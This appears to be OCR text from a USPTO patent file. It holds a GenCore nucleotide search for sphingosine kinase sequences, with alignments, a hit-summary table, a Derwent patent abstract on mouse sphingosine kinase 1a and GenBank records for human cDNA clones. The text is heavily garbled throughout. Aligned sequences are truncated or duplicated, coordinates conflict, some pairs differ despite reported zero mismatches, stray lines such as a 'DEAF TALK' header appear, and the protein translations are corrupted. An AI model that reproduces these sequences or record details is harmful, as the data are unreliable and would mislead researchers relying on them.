Db 121 CGGACTCAGTGCACGCCCTTTTGGCTGAGGCTGAATCTCTTCACGCTGACT 180
Qy 337 GAGCGCGGAAACACGCGCGGAGCTGTGCGCTGAGAGAGCTGGCCGCTGGAGCT 396
Db 181 GAGCGCGGAAACACGCGCGGAGCTGTGCGCTGAGAGAGCTGGCCGCTGGAGCT 240
Qy 397 CTGCTGTCTGTCTGAGAGAGCGGCTGATGACAGAGGCTGAACGGGCTATGAGAGG 456
Db 241 CTGCTGTCTGTCTGAGAGAGCGGCTGATGACAGAGGCTGAACGGGCTATGAGAGG 300
Qy 457 CTTGACTGAGAGACCGCCATCCAGAGGCCCTGTGTAGCTTCCAGAGGCTGTGCAAC 516
Db 301 CTTGACTGAGAGACCGCCATCCAGAGGCCCTGTGTAGCTTCCAGAGGCTGTGCAAC 360
Qy 517 GCGCTGCACTTCTTGAACCTATGCTGTGCTATGAGCAGGTACCAATGAGACCTC 576
Db 361 GCGCTGCACTTCTTGAACCTATGCTGTGCTATGAGCAGGTACCAATGAGACCTC 420
Qy 577 CTGACCACTGACGCTATGCTGTGCGCGCGCGGCTGATGACCAATGCTGTCT 636
Db 421 CTGACCACTGACGCTATGCTGTGCGCGCGGCTGATGACCAATGCTGTCT 480
Qy 637 CTGACACGCGCTTCCGGCTGCGCTGCTTCTGTGCTACGCTGGCGCTTCAAT 696
Db 481 CTGACACGCGCTTCCGGCTGCGCTGCTTCTGTGCTACGCTGGCGCTTCAAT 540
Qy 697 GCTGATGTGACCTAGAGATGATAGTATGCGGCTGTGGGAGATGCGCTTCACTCTG 756
Db 541 GCTGATGTGACCTAGAGATGATAGTATGCGGCTGTGGGAGATGCGCTTCACTCTG 600
Qy 757 GGCACCTTCGCGCTGTGCGACCGCTGCGACCTTACCGGCGGCTGCTACCTTCCCT 816
Db 601 GGCACCTTCGCGCTGTGCGACCGCTTACCGGCGGCTGCTACCTTCCCT 660
Qy 817 GTAGAGAGTGGGTTTAAAGACACTGCTTCCCGCTTGTGTGCTACAGAGGCGCGTA 876
Db 661 GTAGAGAGTGGGTTTAAAGACACTGCTTCCCGCTTGTGTGCTACAGAGGCGCGTA 720
Qy 877 GATGACACCTGTGCTGCTGAGAGACAGTGTCTTCTACCTGCGAGTGTGCCGAC 936
Db 721 GATGACACCTGTGCTGCTGAGAGACAGTGTCTTCTACCTGCGAGTGTGCCGAC 780
Qy 937 GAGGACTTGTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 996
Db 781 GAGGACTTGTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 840
Qy 997 GCACCATGCGCGCTGTGACACTGCGCTCATGATCTGTTCTACGTGCGGCGGAGT 1056

OY	1190	CAGTGGATGGGAATATGATGGTTTGGACAGGCCGTGCAGAGGCGCAGGTGACATCCCAAACTACT	12439
Db	781	CAGTGGATGGGAATATGATGGTTTGGACAGGCCGTGCAGAGGCGCAGGTGACATCCCAAACTACT	840
OY	1250	TCGTGGATGTCACAGCGGTGGGTGGAGGCCCGCCACCTGGAAACCCACAGACAGATGCCAC	1309
Db	841	TCGTGGATGTCACAGCGGTGGGTGGAGGCCCGCCACCTGGAAACCCACAGACAGATGCCAC	900
OY	1310	CGCCAGAAAGACCCTTATGACCCCTGGGCGCGCTGTGCTTACTTACTTACAGAGAC	1369
Db	901	CGCCAGAAAGACCCTTATGACCCCTGGGCGCGCTGTGCTTACTTACTTACAGAGAC	960
OY	1370	CGTTCCCTCCCTTCCCTAGGGGTGCAGAGGCGCTGCACAGTCCCTGGGGGTGGAGAGAC	1429
Db	961	CGTTCCCTCCCTTCCCTAGGGGTGCAGAGGCGCTGCACAGTCCCTGGGGGTGGAGAGAC	1020
OY	1430	T-CCTCTGGAGAAAGGTGAGAAAGGTGGAGGCTATGCTTTGGGGGGACAGGCGCAAAATGAA	1488
Db	1021	TCCTCTGGAGAAAGGTGAGAAAGGTGGAGGCTATGCTTTGGGGGGACAGGCGCAAAATGAA	1080
OY	1489	GTCCTGGGTCA-GGAGCCCAAGCTGGCTGGGCCCAAGCTGCCTATGTAAGGCCCTTCTAGTTT	1547
Db	1081	GTCCTGGGTCAAGGAAACCCAGCTGGCTGGGCCCAAGCTGCCTATGTAAGGCCCTTCTAGTTT	1140
OY	1548	GTTCTGAGACCCCAACCCCAAGAACCAATTCAAATTAAGACATTCGCCAA	1599
Db	1141	GTTTGTGAGACCCCAACCCCAAGAACCAATTCAAATTAAGACATTCGCCAA	1192

```
RESULT 14
AA247167
ID      AA247167 standard; DNA; 1815 BP
```

AC AAZ47167;

DT 28-MAR-2000 (first entry)

DE Mouse sphingosine kinase 1a DNA.

KW Anticancer; antiproliferative; antiatherosclerotic; stroke; restenosis;

KW cancer; diabe

Mus musculus.

PN W09961581-A2

PD 02-DEC-1999.

PF 25-MAY-1999; 99WO-US11521

PR	26-MAY-1998;	98US-0086657
PR	11-MAY-1998;	98US-0086649

XX
XX
(DEAF) CENTER DEAF TALK, COMMUNICATE PERSONNEL

[illegible]

XX
XX
FBI, 2000-072613 /05

DR P-PSDB; AAY56053.
YX

PT New sphingosine kinase, used to treat diseases involving abnormal cell

XX
XX
XXXXX

CC This sequence represents the coding region for the mouse sphingosine
CC kinase 1 α . The sequence was isolated by searching a dbEST (expressed
CC sequence tag database) using amino acid sequence results from sequenced
CC tryptic digests of the rat sphingosine kinase. Expression of sphingosine
CC kinase in cells results in formation of sphingosine-1-phosphate, a known
CC second messenger, and confers serum-independent growth; increases

CC proliferation, and suppresses serum-deprivation or ceramide-induced
CC apoptosis. The sphingosine kinase nucleic acid is used: (a) to increase
CC sphingosine kinase content of cells, specifically for reducing cell death
CC and/or increasing cell proliferation; and (b) to produce transfected
CC cells that are used to screen for agents that inhibit or promote
CC sphingosine kinase activity. Agents that reduce sphingosine kinase
CC activity or expression are used: (i) to reduce cell proliferation,
CC specifically for treating cancer, and (ii) to treat diseases associated
CC with abnormal cell migration or motility, particularly cancer, restenosis
CC or diabetic neuropathy (but also atherosclerosis, stroke and Alzheimer's
CC disease), whereas agents that stimulate sphingosine kinase can be used
CC to treat conditions associated with reduced cell proliferation, e.g.
CC developmental retardation.

SQ Sequence 1815 BP; 382 A; 511 C; 533 G; 389 T; 0 other,

Query Match 52.3%; Score 836.8; DB 21; Length 1815;

Matches 1160; Conservative 0; Mismatches 402; Indels 22; Gaps 6;

31 GCGGGGAGGCGAGCCCCACAGCCGGCCCTGCGAGCGCCCGCTGGGAGCACCATAAG 90

OY	31	GGCGGGGAGGCGAGCGCCACAGCGCGGCTTGCAGACGGCCGGCTGGGAGACGCATTAAG	90
Dd	224	GGTGGAGAGGGCGAGCCCGCCACGGCCAGTTCGCCAGACACCTCTCTGGCMAACCCATTAAG	283
OY	91	GAGCTGAAGGAGAGAGCCGCG--CCAGGGGACAGCGGCCACAGCGCAGGAGACCCG	147
Dd	284	AAGCTGAACGAGAGGAGCGCCGGTTACCTTAGCAGCGCCGGGGCAGACACCGGTGGCCCT	343
OY	148	TGGCAGCGGGAGCGCGGGGTGAGGTTATGATTCAGGGGGCGGCCCCGGGGCTGCTC	207
Dd	344	TGTGAGCGGGAGAGCCCGGGACCTGGCTATGGAACA--GAATGCCCTGAGAGACTGCTC	400
OY	208	CCGCGGCCCTCCGGGCTGTGGTGTGTAACCCGCGCGGGCGAAGGCAAGGCACTTGG	267
Dd	401	CCAGCGCCATGACAGTCTGTGCTGTGTAACCCCGCAGGGTGGCAAGGCAAGGCTGTG	460
OY	268	CAGCTCTTCCGGAGTCAGTCAGCGCCCTTTTGGCTGAGAGCTGAATCTCTTACGCTG	327
Dd	461	CAGCTCTTCCAGAGCGCGTGTGACGCTTCCGAGGAGGCGAGATTAACCTTTAACTG	520
OY	328	ATGCTCACTGAGCGCGGGAACCAACCGCGGGAGCTGGTGGCTGGAGAGCTGGGCGCG	387
Dd	521	ATACTCACAGCAACGGGAAGACCAATGCCAGGGAGCTGGTGTGCAAGAGAGTGGGTCAAC	580
OY	388	TGGGACGCTCGTGGTGTATGCTTGGAAACGGGCTGATGCAGCAGAGTGGTGAACGGGCTC	447
Dd	581	TGGGACGCGCTCGGCAGTATGTCCGGTATGTGTGATGCAATGAAGTGTGAATGGCTTA	640
OY	448	ATGAGCGCGCTGACTGGGAGACCCCATCCAGAAAGCCCTGTAGCTCCACAGGCG	507
Dd	641	ATGGAACGGCCAGACTGGGAGACTGCCATCCAGAAACCCCTGTAGGCTCCCTGGAGGCG	700
OY	508	TCTGGCAACGGCGTGGGAGCTTCCCTGAAACCAATTGTGGCTATGACAGAGTCCACAT	567
Dd	701	TCCGGCAATGGCTGGGACGCTTCTGTGAACCACTATGGTGGGTACGAGAGGTTGCTAAT	760
OY	568	GAAAGACCTCTGACCAACATGCACGCTAATGTGCTGCCCGGCTGTCTACACCATTAAG	627
Dd	761	GAAAGACCTGCTATCACTACATGCACACTGCTGTTGTGCCCGCGGCGCTGTCAACCATTAAG	820
OY	628	CTGCTGTCTGCACACGGCTTCGGGGCTGCGCTGCTTCTGTGCTCAGCCCTGGCCTGG	687
Dd	821	CTGCTGTCTGCACACACTGCTTCTGGCGGGCTCTATTCTGTCTCAGTCTGTCTGG	880
OY	688	GGCTTCATGTGTGATGTGGACCTTAGAGAGTGAATAGTACGGCGCTGTGGGGAGATGGCG	747
Dd	881	GGCTTGTGTGTGAGCTGGACCTTCAGAGTGAAGTACAGGCGCTTGGGGAGATTCGT	940
OY	748	TTCACTCTGGGACACTTCTGCGTGTGGACGCGCCACCTTACCGGCGCGCATGGCT	807
Dd	941	TTCACTAGTGGGACCTTCTTTCGCTAGCAACGCTGGCGCATCTACCAAGGCCAATCTGGCG	1000
OY	808	ACCTCTCCCTGTAGGAAGATGGGTTTCAAGACACCTGTTCCCGCTGTGTGCTCCAGAG	867

THIS PAGE BLANK (USPTO)

GenCore version 5.1.6
Copyright (c) 1993 - 2003 Compugen Ltd.

OM nucleic - nucleic search, using sw model

Run on: July 12, 2003, 12:35:23 ; Search time 4153 seconds

(without alignments)
11205.246 Million cell updates/sec

Title: US-09-784-810a-1_COPY_2_1600

Perfect score: 1599
Sequence: 1 cccccggggtccctatagc.....aataaagtgacattcccaa 1599Scoring table: IDENTITY NUC
Gapop 10.0 , Gapext 1.0

Searched: 2054640 seqs, 14551402878 residues

Total number of hits satisfying chosen parameters: 4109280

Minimum DB seq length: 0

Maximum DB seq length: 2000000000

Post-processing: Minimum Match 0%

Maximum Match 100%

Database :

Listing first 45 summaries

```
Genembl:*
1: gb_da:*
2: gb_htg:*
3: gb_in:*
4: gb_cm:*
5: gb_ov:*
6: gb_pat:*
7: gb_ph:*
8: gb_pl:*
9: gb_pr:*
10: gb_ro:*
11: gb_sts:*
12: gb_sy:*
13: gb_un:*
14: gb_vl:*
15: em_da:*
16: em_fun:*
17: em_hum:*
18: em_in:*
19: em_mu:*
20: em_on:*
21: em_or:*
22: em_ov:*
23: em_pat:*
24: em_ph:*
25: em_pl:*
26: em_ro:*
27: em_sts:*
28: em_un:*
29: em_vl:*
30: em_htg_hum:*
31: em_htg_inv:*
32: em_htg_other:*
33: em_htg_mus:*
34: em_htg_pln:*
35: em_htg_rtd:*
36: em_htg_mam:*
37: em_htg_vrt:*
38: em_sy:*
39: em_htgo_hum:*
40: em_htgo_mus:*
41: em_htgo_other:*
```

Pred. No. is the number of results predicted by chance to have a

score greater than or equal to the score of the result being printed,
and is derived by analysis of the total score distribution.

SUMMARIES

Result No.	Score	Query Match	Length	DB ID	Description
1	1599	100.0	1600	6	AX224379 Sequence
2	1560.8	97.6	1821	9	AK022402 Homo sapi
3	1558.2	97.4	1772	9	AK023393 Homo sapi
4	1557	97.4	1824	9	BC008040 Homo sapi
5	1549.6	96.9	1783	9	AF238083 Homo sapi
6	1549.6	94.8	1719	6	AX127641 Sequence
7	1516.2	94.8	1693	9	AF266756 Homo sapi
8	1505.6	94.2	1869	9	BC009419 Homo sapi
9	1385	86.6	2502	9	AK095578 Homo sapi
10	1342.2	83.9	1428	9	HS245504 Homo sapi
11	1314.8	82.2	2015	9	AB046025 Macaca fa
12	1137.8	71.2	1173	9	AF200328 Homo sapi
13	1124.6	70.3	1155	6	AX127642 Sequence
14	1103	69.0	1192	9	BC004112 Homo sapi
15	1017.4	63.6	18343	2	AC068145 Homo sapi
16	1008.6	63.1	209861	2	AC021196 Homo sapi
17	836.8	52.3	1815	6	AX287137 Sequence
18	836.8	52.3	1815	10	AF068748 Mus muscu
19	836.4	52.3	1759	6	AX224381 Sequence
20	818.4	51.2	1842	10	AB049572 Rattus no
21	818.4	51.2	1895	10	AB049572 Rattus no
22	818.4	51.2	1943	10	AB049571 Rattus no
23	818.4	51.2	2501	10	AB049574 Rattus no
24	818.4	51.2	2648	10	AB049575 Rattus no
25	769.6	48.1	1559	6	AX287138 Sequence
26	769.6	48.1	1559	10	AF068749 Mus muscu
27	737.6	46.1	1146	10	AF415213 Mus muscu
28	513.6	32.1	110000	2	AL606505 Mus muscu
29	513.6	32.1	112037	10	AL645851 Mouse DNA
30	382.6	23.9	394	6	AX334274 Sequence
31	258	16.1	2380	9	AF245447 Homo sapi
32	258	16.1	2731	9	BC010671 Homo sapi
33	258	16.1	2875	6	AX086301 Sequence
34	258	16.1	2875	9	HS245504 Homo sapi
35	258	16.1	3012	9	BC006161 Homo sapi
36	245.2	15.3	1854	10	AF415214 Mus muscu
37	245.2	15.3	2416	10	BC006941 Mus muscu
38	242	15.1	2698	10	AF245448 Mus muscu
39	240	15.0	240	6	AX127662 Sequence
40	193	12.1	296	6	AX198252 Sequence
41	193	12.1	296	6	AX208818 Sequence
42	177.2	11.1	62875	2	AC068436 Homo sapi
43	173.6	10.9	44767	2	AC106591 Rattus no
44	173	10.8	254729	2	AC122611 Rattus no
45	159.2	10.0	1172	9	AK000599 Homo sapi

ALIGNMENTS

RESULT 1	AX224379	1600 bp	DNA	linear	PAT 10-SEP-2001
LOCUS	AX224379				
DEFINITION	Sequence 1 from Patent WO0160990.				
ACCESSION	AX224379				
VERSION	AX224379.1				
KEYWORDS	GI:15554631				
SOURCE	human.				
ORGANISM	Homo sapiens				
REFERENCE	Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;				
AUTHORS	Mammalia; Eutheria; Primates; Catarrhini; Homidae; Homo.				
TITLE	Novel sphingosine kinases				
JOURNAL	Patent: WO 0160990-A 1 23-AUG-2001;				

Curagen Corporation (US) : GENENTECH, INC. (US)
 FEATURES Location/Qualifiers
 Source 1..1600
 /organism="Homo sapiens"
 /db_xref="taxon:9606"
 BASE COUNT 265 a 492 c 531 g 311 t 1 others
 ORIGIN
 Query Match 100.0%; Score 1599; DB 6; Length 1600;
 Best Local Similarity 100.0%; Pred. No. 4 8e-272;
 Matches 1599; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

1 CCCCCGGGGCTCTATAGCCAGGCTCCGGCGGGGAAGGCCGACGCCACAGCCGCC 60
 2 CCCCCGGGGCTCTATAGCCAGGCTCCGGCGGGGAAGGCCGACGCCACAGCCGCC 61
 61 TCCGACGCCCTTGGGACGACCGATAGAGAGGAGAGAGAGAGAGAGAGAGAGAG 120
 62 TCCGACGCCCTTGGGACGACCGATAGAGAGAGAGAGAGAGAGAGAGAGAGAG 121
 121 AGCGCCCGACAGCGCCAGGACCCCTGGCAGCGGAGCGCGGCTCGAGTTATGAT 180
 122 AGCGCCCGACAGCGCCAGGACCCCTGGCAGCGGAGCGCGGCTCGAGTTATGAT 181
 181 CCAGCGGCGGCGCCCGGGGCGCTCTCCCGGGGCTCGCGCTGCTGCTGTGAC 240
 182 CCAGCGGCGGCGCCCGGGGCGCTCTCCCGGGGCTCGCGCTGCTGCTGTGAC 241
 241 CCGCGGGGCGGCAAGGCGCTTGGAGCTCTTCCGAGTCACTGACAGCCCTTTTG 300
 242 CCGCGGGGCGGCAAGGCGCTTGGAGCTCTTCCGAGTCACTGACAGCCCTTTTG 301
 301 GCTGAGGCTGAATCTCTTCACTGATGCTCATAGAGCGCGGAGAACAGCGGGAG 360
 302 GCTGAGGCTGAATCTCTTCACTGATGCTCATAGAGCGCGGAGAACAGCGGGAG 361
 361 CTGGGCGGCTGGAGAGCTGGGCGCGCTGGAGCGCTGGTGTATGTCTGGAGCGG 420
 362 CTGGGCGGCTGGAGAGCTGGGCGCGCTGGAGCGCTGGTGTATGTCTGGAGCGG 421
 421 CTGATGACAGAGGCTGGAGAGCGGCTCATAGAGCGCGGCTGACTGGAGAGCGCCATCCAG 481
 422 CTGATGACAGAGGCTGGAGAGCGGCTCATAGAGCGCGGCTGACTGGAGAGCGCCATCCAG 481
 481 AAGCCCTGTGTAGCTCCAGAGAGGCTGGAGAGCGCGCTGACTGGAGAGCGCCATCCAG 540
 482 AAGCCCTGTGTAGCTCCAGAGAGGCTGGAGAGCGCGCTGACTGGAGAGCGCCATCCAG 541
 541 TATGCTGGCTATGAGAGGCTACCAATGAAGACCTCTGACCACTGACAGCTATTGCTG 600
 542 TATGCTGGCTATGAGAGGCTACCAATGAAGACCTCTGACCACTGACAGCTATTGCTG 601
 601 TCCGCGCGGCTGTCTACACCATAGACCTGCTGCTGACAGCGGCTTCCGGGCTGCCG 660
 602 TCCGCGCGGCTGTCTACACCATAGACCTGCTGCTGACAGCGGCTTCCGGGCTGCCG 661
 661 TCGTTCTGTGCTCAAGCTGCGCTGGGCGCTTCAATTGCTGATGTGAAGAGTGTAT 720
 662 TCGTTCTGTGCTCAAGCTGCGCTGGGCGCTTCAATTGCTGATGTGAAGAGTGTAT 721
 721 AAGTATGCGGCTGTGGGGAGATGCGCTTCACTTGGGACCTTCCGGGCTTGGAGCGC 780
 722 AAGTATGCGGCTGTGGGGAGATGCGCTTCACTTGGGACCTTCCGGGCTTGGAGCGC 781
 781 CTGGGACACTACCGCGGCGAGCTGCTACCTCCCTCTAGAGAGAGTGGCTTCAAGACA 840
 782 CTGGGACACTACCGCGGCGAGCTGCTACCTCCCTCTAGAGAGAGTGGCTTCAAGACA 841
 841 CCTGCTTCCCGCGTTGGTTCAGACAGGCGCGGTATGACACACTGCTGCTGAGAG 900
 842 CCTGCTTCCCGCGTTGGTTCAGACAGGCGCGGTATGACACACTGCTGCTGAGAG 901
 901 GAGCAGGTGCTTCTCACTGGCAGGTGTGCGCAGAGGACTTGTGTAGTCTTGCA 960

Db 902 GAGCAGGTGCTTCTCACTGGCAGGTGTGCCACAGAGACTTGTGCTAGTCTTGCA 961
 Oy 961 CTGCTGCACTGCACTGCGCAGTGAATGTTTCTGACACCAATGGCGCTGTGCACT 1020
 Db 962 CTGCTGCACTGCACTGCGCAGTGAATGTTTCTGACACCAATGGCGCTGTGCACT 1021
 Oy 1021 GCGCTCATCTCTTCTGCTGCGGAGAGTGTCTGCTGCTGCTGCTGCTGCTGCT 1080
 Db 1022 GCGCTCATCTCTTCTGCTGCGGAGAGTGTCTGCTGCTGCTGCTGCTGCTGCT 1081
 Oy 1081 TTCTGCGCATGAGAGAGGAGCATATGAGATGAGATGAGATGAGATGAGATGAG 1140
 Db 1082 TTCTGCGCATGAGAGAGGAGCATATGAGATGAGATGAGATGAGATGAGATGAG 1141
 Oy 1141 CCGCTGCTGCTTCTGCTGAGAGCCCAAGAGATGAGATGAGATGAGATGAGATGAG 1200
 Db 1142 CCGCTGCTGCTTCTGCTGAGAGCCCAAGAGATGAGATGAGATGAGATGAGATGAG 1201
 Oy 1201 GAATGATGATGAGAGAGCGCTGAGAGCGCAGAGTGAATGAGATGAGATGAGATGAG 1260
 Db 1202 GAATGATGATGAGAGAGCGCTGAGAGCGCAGAGTGAATGAGATGAGATGAGATGAG 1261
 Oy 1261 AGCGGTGCTGAGAGCGCGCGCGCTGAGAGCGCAGAGTGAATGAGATGAGATGAG 1320
 Db 1262 AGCGGTGCTGAGAGCGCGCGCGCTGAGAGCGCAGAGTGAATGAGATGAGATGAG 1321
 Oy 1321 CCTTTAGACCCCTTGGGCGCGCTGAGAGCGCAGAGTGAATGAGATGAGATGAGATGAG 1380
 Db 1322 CCTTTAGACCCCTTGGGCGCGCTGAGAGCGCAGAGTGAATGAGATGAGATGAGATGAG 1381
 Oy 1381 CCTTTAGACCCCTTGGGCGCGCTGAGAGCGCAGAGTGAATGAGATGAGATGAGATGAG 1440
 Db 1382 CCTTTAGACCCCTTGGGCGCGCTGAGAGCGCAGAGTGAATGAGATGAGATGAGATGAG 1441
 Oy 1441 AGGTTGAGAGTGAATGAGAGTGAATGAGAGTGAATGAGAGTGAATGAGAGTGAATGAG 1500
 Db 1442 AGGTTGAGAGTGAATGAGAGTGAATGAGAGTGAATGAGAGTGAATGAGAGTGAATGAG 1501
 Oy 1501 GAGCCAGCTGCTGCGGCGCAGCTGCTATGATGAAGCTTCTGATGATGATGATGATGAT 1560
 Db 1502 GAGCCAGCTGCTGCGGCGCAGCTGCTATGATGAAGCTTCTGATGATGATGATGATGAT 1561
 Oy 1561 CACCCAGCAACCAATCAATGAATGAATGAATGAATGAATGAATGAATGAATGAATGA 1599
 Db 1562 CACCCAGCAACCAATCAATGAATGAATGAATGAATGAATGAATGAATGAATGAATGA 1600

RESULT 2
 AK022402 1821 bp mRNA linear PRI 01-AUG-2002
 LOCUS Homo sapiens cDNA FLJ12340 fis, clone MAMMA1002268, moderately
 DEFINITION similar to Mus musculus sphingosine kinase (SPHK1a) mRNA.
 ACCESSION AK022402
 VERSION AK022402.1 GI:10433790
 KEYWORDS oligo capping; fis (full insert sequence).
 SOURCE Homo sapiens Mammalian gland cDNA to mRNA, clone_1lb:MAMMA1
 clone:MAMMA1002268.
 ORGANISM Homo sapiens
 Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
 Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
 REFERENCE 1
 AUTHORS Isogai,T., Ota,T., Hayashi,K., Sugiyama,T., Otsuki,T., Suzuki,Y.,
 Nishikawa,T., Nagai,K., Sugano,S., Shiratori,H., Sudo,H.,
 Wagatsuma,M., Hosokawa,T., Kaku,Y., Kodaira,H., Kondo,H.,
 Sugawara,M., Takahashi,M., Chiba,Y., Ishida,S., Murakawa,K.,
 Ono,Y., Takiguchi,S., Watanabe,S., Kimura,K., Murakami,K.,
 Ishii,S., Kawai,Y., Saito,K., Yamamoto,J., Wakamatsu,A.,
 Nakamura,Y., Nagahara,K., Masuo,Y., Niomiya,K. and Iwayanagi,T.
 NEDO human cDNA sequencing project
 TITLE Unpublished
 JOURNAL 2 (bases 1 to 1821)
 REFERENCE Isogai,T. and Otsuki,T.

TITLE Direct Submission
JOURNAL Submitted (23-AUG-2000) Takao Isogai, Helix Research Institute,
Genomics Laboratory: 1532-3 Yana, Kisarazu, Chiba 292-0812, Japan
(E-mail:genomics@hri.co.jp; Tel:81-438-52-3975, Fax:81-438-52-3986)
COMMENT NEDO human cDNA sequencing project supported by Ministry of
International Trade and Industry of Japan; cDNA full insert
sequencing: Research Association for Biotechnology; cDNA library
construction, 5'-3'-end one pass sequencing and clone selection:
Helix Research Institute (supported by Japan Key Technology Center
etc.) and Department of Virology, Institute of Medical Science,
University of Tokyo.
FEATURES
source Location/Qualifiers
1..1821
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="MAMMA1002268"
/tissue_type="Mammary gland"
/clone_1ib="MAMMA1"
/note="Cloning vector: pME18SFL3"
393..1547
/note="unnamed protein product"
/codon_start=1
/protein_id="BAB14028.1"
/db_xref="GI:10433791"
/translation="MDPAGGPRGVLPKPCRVLYLINPBGKAKQLFRSHVQPLAE
AEISFTLMTERNHARELVRSEELGRMDALVMSGDGLMEHVNGLMERPDMETAIQ
KPICLPAGSGNALAASLNHYAGYEQVNMEDLTTCILICRLISPMNLISHTASG
LRPSVLISLAEKFDVDELESKVRRLSEMRITLSTPLRLALRYRRLATLPLGRV
GSKTPASPVVVOGFPVDHLVPLEPVSHTVDEDEVLVLLHSHLSEMRAP
MGRCAAGVHLFVYRAGVSRMLRLFLAMEGRHMEYECPLVYVPAVAFLEBRKD
KGVFVDELMSVAVOGVHNEFMVNSGVPEPPSWKPOQMPPEPL"

BASE COUNT 301 a 569 c 614 g 337 t
ORIGIN

Query Match .97.6%; Score 1560.8; DB 9; Length 1821;
Best Local Similarity 98.6%; Pred. No. 2.5e-265;
Matches 1574; Conservative 0; Mismatches 22; Indels 0; Gaps 0;

QY 3 CCCCCGGGCTCTTAAGCCAGGCTCCGGGCGGGAGAGCCGACAGCCGAGCCGCTG 62
DB 221 CCGCGGCTCTTAAGCCAGGCTCCGGGCGGGAGAGCCGACAGCCGAGCCGCTG 280
QY 63 CGAGCCCGGCTGGGAGAGCCGATGAAGAGCTGAAGAGAGAGCCGCGGAGGAG 122
DB 281 CGAGCCCGGCTGGGAGAGCCGATGAAGAGCTGAAGAGAGAGCCGCGGAGGAG 340
QY 123 CGCCGCCACAGCGGAGAGCCCTGCGAGCGGAGCCGCGGCTGAGATTATGATCC 182
DB 341 CGCCGCCACAGCGGAGAGCCCTGCGAGCGGAGCCGCGGCTGAGATTATGATCC 400
QY 183 AGCGGGGCGGCGGCGGCTGCTCCGGGCGGCTGCGGCGGCTGCTGCTGAACC 242
DB 401 AGCGGGGCGGCGGCGGCTGCTCCGGGCGGCTGCGGCGGCTGCTGCTGAACC 460
QY 243 GCGCGGCGGAGAGGAGAGCCCTGAGCTCTTCGAGTCAAGTCAAGCCGCTTTTGGC 302
DB 461 GCGCGGCGGAGAGGAGAGCCCTGAGCTCTTCGAGTCAAGTCAAGCCGCTTTTGGC 520
QY 303 TGAAGGTGAATCTCTTACGCTGATGCTCACTGAGCGGCGGAACACGCGGGAGCT 362
DB 521 TGAAGGTGAATCTCTTACGCTGATGCTCACTGAGCGGCGGAACACGCGGGAGCT 580
QY 363 GGTGGGCTGAGAGAGCTGCGGCGGCTGCGGAGCTGCGGAGTCTGAGAGAGGCT 422
DB 581 GGTGGGCTGAGAGAGCTGCGGCGGCTGCGGAGCTGCGGAGTCTGAGAGAGGCT 640
QY 423 GATGACAGAGTGTGAACGGGCTCATGAGAGCGGCTGACTGAGAGAGCCGATCAGAA 482
DB 641 GATGACAGAGTGTGAACGGGCTCATGAGAGCGGCTGACTGAGAGAGCCGATCAGAA 700
QY 483 GCCCCTGTGTAGCTCCAGAGAGCTCTGGCAACGCGCTGGCAGCTTCTTGAACCATTA 542
DB 701 GCCCCTGTGTAGCTCCAGAGAGCTCTGGCAACGCGCTGGCAGCTTCTTGAACCATTA 760

QY 543 TCGTGTATGAGAGAGCTGACCATTAAGAGACCTCTGACACATGCTGACGCTATGCTG 602
DB 761 TCGTGTATGAGAGAGCTGACCATTAAGAGACCTCTGACACATGCTGACGCTATGCTG 820
QY 603 CCGCCCGGCTGTCACCATTAAGAGAGCTGTCGTGTCACAGAGGCTTGGGGCTGCGTC 662
DB 821 CCGCCCGGCTGTCACCATTAAGAGAGCTGTCGTGTCACAGAGGCTTGGGGCTGCGCT 880
QY 663 GTTCTGTGTGTACAGCTGCGCTGGGGCTTCAATTGCTATGTGACCTAGAGAGTATA 722
DB 881 GTTCTGTGTGTACAGCTGCGCTGGGGCTTCAATTGCTATGTGACCTAGAGAGTATA 940
QY 723 GATGAGGCTGCGGGGAGATGCGCTTCACTGTGGGACCTTCGCGCTGCGAGCCCT 782
DB 941 GATGAGGCTGCGGGGAGATGCGCTTCACTGTGGGACCTTCGCGCTGCGAGCCCT 1000
QY 783 GCGCACTTACCGCGGCGGAGCTGCTACCTCCCTGTAGAGAGAGTGGTTTGAAGACACC 842
DB 1001 GCGCACTTACCGCGGCGGAGCTGCTACCTCCCTGTAGAGAGAGTGGTTTGAAGACACC 1060
QY 843 TCGTTCGCCCGCTTGT 902
DB 1061 TCGTTCGCCCGCTTGT 1120
QY 903 CGAGGTGCTTGT 962
DB 1121 CGAGGTGCTTGT 1180
QY 963 GCTGTGACCTGTGACCTGTGAGAGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1022
DB 1181 GCTGTGACCTGTGACCTGTGAGAGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1240
QY 1023 GCTGTGACCTGTGAGAGT 1082
DB 1241 GCTGTGACCTGTGAGAGT 1300
QY 1083 CCGTGTGAGAGAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1142
DB 1301 CCGTGTGAGAGAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1360
QY 1143 CGTGTGCGCTTCCGCTTGT 1202
DB 1361 CGTGTGCGCTTCCGCTTGT 1420
QY 1203 ATTGT 1262
DB 1421 ATTGT 1480
QY 1263 GGTGTGCGGAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1322
DB 1481 GGTGTGCGGAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1540
QY 1323 CTTATGACCTTGT 1382
DB 1541 CTTATGACCTTGT 1600
QY 1383 CTTATGACCTTGT 1442
DB 1601 CTTATGACCTTGT 1660
QY 1443 GGTGAGAGAGT 1502
DB 1661 GGTGAGAGAGT 1720
QY 1503 GCGCACTGT 1562
DB 1721 GCGCACTGT 1780
QY 1563 CCGCAGGAACAATTCAAATTAAGTGAATTCCTCA 1598
DB 1781 CCGCAGGAACAATTCAAATTAAGTGAATTCCTCA 1816

RESULT 3
AK023393
LOCUS
DEFINITION Homo sapiens cDNA FLJ1331 fls, clone OVARC1001809, moderately similar to Mus musculus sphingosine kinase (SPHK1a) mRNA.
ACCESSION AK023393
VERSION AK023393.1 GI:10435311
KEYWORDS oligo capturing; fls (full insert sequence).
